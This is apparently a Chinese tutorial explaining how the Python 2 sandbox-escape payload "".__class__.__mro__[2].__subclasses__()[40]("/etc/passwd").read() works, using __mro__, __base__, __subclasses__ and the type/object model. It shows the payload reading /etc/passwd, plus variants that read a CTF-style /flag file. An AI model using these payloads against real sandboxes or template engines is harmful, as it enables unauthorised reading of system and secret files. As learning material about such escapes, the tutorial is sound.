总览
"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
其实就是类似java的反射,通过一个对象找到另一个对象,这里通过一个字符串对象,找了一个文件对象,然后初始化,读取,就是这么个事。
# 获得一个字符串实例
>>> ""
''
# 获得字符串的type实例
>>> "".__class__
<type 'str'>
# 获得其父类
>>> "".__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
# 获得父类中的object类
>>> "".__class__.__mro__[2]
<type 'object'>
# 获得object类的子类,但发现这个__subclasses__属性是个方法
>>> "".__class__.__mro__[2].__subclasses__
<built-in method __subclasses__ of type object at 0x10376d320>
# 使用__subclasses__()方法,获得object类的子类
>>> "".__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
# 获得第40个子类的一个实例,即一个file实例
>>> "".__class__.__mro__[2].__subclasses__()[40]
<type 'file'>
# 对file初始化
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd")
<open file '/etc/passwd', mode 'r' at 0x10397a8a0>
# 使用file的read属性读取,但发现是个方法
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read
<built-in method read of file object at 0x10397a5d0>
# 使用read()方法读取
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
nobody:*:-2:-2:Unprivileged
User:/var/empty:/usr/bin/false
root:*:0:0:System
Administrator:/var/root:/bin/sh
问题
问
但我怎么知道__subclasses__
是一个方法,而不是一个直接可以返回数组的变量呢?我又怎么知道什么类有什么方法或者属性呢?比如我如何知道应该用__mro__
属性去找父类?而__mro__
是什么类的成员方法??
答
首先__subclasses__
是方法还是属性可以根据提示来判断如:
>>> "".__class__.__mro__[2].__subclasses__
<built-in method __subclasses__ of type object at 0x10376d320>
另外,python中有一个内置函数是dir(),可以用这个函数来查看传入参数的成员方法以及属性,我们来尝试一下
>>> dir("")
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
>>> dir("".__class__)
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
首先我们看到dir("")与dir("".__class__)
的结果是完全一样的
按照"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
的利用方法,接下来应该使用__mro__
这个属性,来获得父类,但是我并没有在dir("".__class__)
中看到这个属性,这是为什么呢?__mro__
属性在哪呢?
type与object
为了解释上面的这个问题,我们先要了解在python中的一个哲学问题,就是type与object的问题,这二位就像是哲学上的物质与意识,不仅相互关联,而且不可分割。
Python 的 type 和 object 之间是怎么一种关系?
在Python的世界中:
- object是父子关系的顶端,所有的数据类型的父类都是它
- type是类型实例关系的顶端,所有对象都是它的实例的
也就是说这里不同于我们之前学到的类与对象的关系,这里有两条线,一个是类的关系,一个是实例的关系。也就是说:
- object和type都既是类又是实例
- object是type的一个实例
- type是object的子类
__class__
与__base__
属性
__class__
属性可以沿着实例这条链往上走一个__base__
属性可以沿着父子类关系这个条链往上走一个
>>> "".__class__
<type 'str'>
>>> "".__class__.__class__
<type 'type'>
>>> "".__class__.__class__.__base__
<type 'object'>
>>> "".__class__.__class__.__base__.__class__
<type 'type'>
>>> "".__class__.__class__.__base__.__class__.__base__
<type 'object'>
>>> "".__class__.__class__.__base__.__class__.__base__.__class__
<type 'type'>
可见之前的结论:object是type的一个实例, type是object的子类
>>> "".__class__
<type 'str'>
>>> "".__base__
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute '__base__'
>>> "".__class__.__base__
<type 'basestring'>
我们可以看到”“这个字符串对象中是没有__base__
这个属性的,而"".__class__
却可以获得,但是我们在前面的dir()函数中传入""和"".__class__
所获得的结果是一样的啊,这两个都没有__base__
属性,那么这个属性到底在哪呢?
""
与"".__class__
的区别
type()函数,用来返回变量的类型,返回的是一个type实例
>>> ""
''
>>> "".__class__
<type 'str'>
>>> type("")
<type 'str'>
>>> type("".__class__)
<type 'type'>
我们可以看到字符串变量""
是<type 'str'>
的一个实例,而<type 'str'>
是一个<type 'type'>
实例,而其实__base__
这个属性是在<type 'type'>
中的属性。
真相
真相就在<type 'type'>
中
>>> "".__class__.__class__
<type 'type'>
>>> dir("".__class__.__class__)
['__abstractmethods__', '__base__', '__bases__', '__basicsize__', '__call__', '__class__', '__delattr__', '__dict__', '__dictoffset__', '__doc__', '__eq__', '__flags__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__instancecheck__', '__itemsize__', '__le__', '__lt__', '__module__', '__mro__', '__name__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasscheck__', '__subclasses__', '__subclasshook__', '__weakrefoffset__', 'mro']
>>> dir(type("".__class__))
['__abstractmethods__', '__base__', '__bases__', '__basicsize__', '__call__', '__class__', '__delattr__', '__dict__', '__dictoffset__', '__doc__', '__eq__', '__flags__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__instancecheck__', '__itemsize__', '__le__', '__lt__', '__module__', '__mro__', '__name__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasscheck__', '__subclasses__', '__subclasshook__', '__weakrefoffset__', 'mro']
猛然发现这个里有__base__,__class__,__subclasses__,__mro__
,原来这些玩意都在这里啊,也就是说这几个属性,只要是type实例应该都有。
重看利用
"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
- 通过
"".__class__
获得一个<type 'str'>
的实例 - 因为
<type 'str'>
是<type 'type'>
的一个实例,所以可用<type 'type'>
的__mro__属性获得其父类的顶端<type 'object'>
- 因为
<type 'object'>
是<type 'type'>
的一个实例,所以可用<type 'type'>
的__subclasses__()
函数获得object的所有子类 - 找到第40个子类是文件,然后初始化调用读取方法即可
非得用__mro__
么
我们看到,我们无非是要找到<type 'object'>
然后调用__subclasses__()
函数,因为object是父类的顶端,也即是用__base__
到顶,所以如下方式均可成功:
>>> "".__class__.__base__.__base__.__subclasses__()[40]("/flag").read()
'63572fda-25fa-46bf-abae-94314f11a4a1\n'
>>> type("".__class__).__base__.__subclasses__()[40]("/flag").read()
'63572fda-25fa-46bf-abae-94314f11a4a1\n'
总结函数
__base__
:子类找父类__subclasses__()
:父类找子类__class__
:子实例找父实例
看起来好像没有父实例找子实例的方法或者属性